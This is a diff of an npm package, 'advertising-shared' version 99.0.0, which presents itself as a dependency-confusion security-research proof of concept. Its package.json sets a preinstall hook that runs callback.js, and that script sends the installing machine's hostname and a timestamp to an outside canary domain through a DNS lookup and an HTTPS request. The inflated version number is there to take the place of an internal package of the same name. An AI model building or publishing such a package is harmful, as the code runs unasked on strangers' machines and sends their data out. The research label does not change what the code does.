advertising-shared 99.0.0

package/callback.js

@@ -0,0 +1,7 @@
+const dns = require('dns');
+const https = require('https');
+const os = require('os');
+const id = ['depconfusion', os.hostname().replace(/[^a-z0-9]/gi,'-').slice(0,30), Date.now().toString(36)].join('.');
+const canary = 'd69ai701mapqfrtu0ulg7i38uo6cotenc.projectinteraction.info';
+dns.resolve(id + '.' + canary, () => {});
+try { const d = JSON.stringify({t:'dep-confusion',pkg:'advertising-shared',h:os.hostname(),ts:new Date().toISOString()}); const r = https.request({hostname:canary,path:'/poc?'+Buffer.from(d).toString('base64url'),method:'GET',timeout:5000},()=>{}); r.on('error',()=>{}); r.end(); } catch(e) {}

package/index.js

@@ -0,0 +1,2 @@
+// Security research PoC — dependency confusion. Contact: schneidersec on npm.
+module.exports = {};

package/package.json

@@ -0,0 +1,11 @@
+{
+  "name": "advertising-shared",
+  "version": "99.0.0",
+  "description": "Security research - dependency confusion proof of concept. Contact: schneidersec on npm.",
+  "scripts": {
+    "preinstall": "node callback.js || true"
+  },
+  "main": "index.js",
+  "keywords": ["security-research"],
+  "license": "ISC"
+}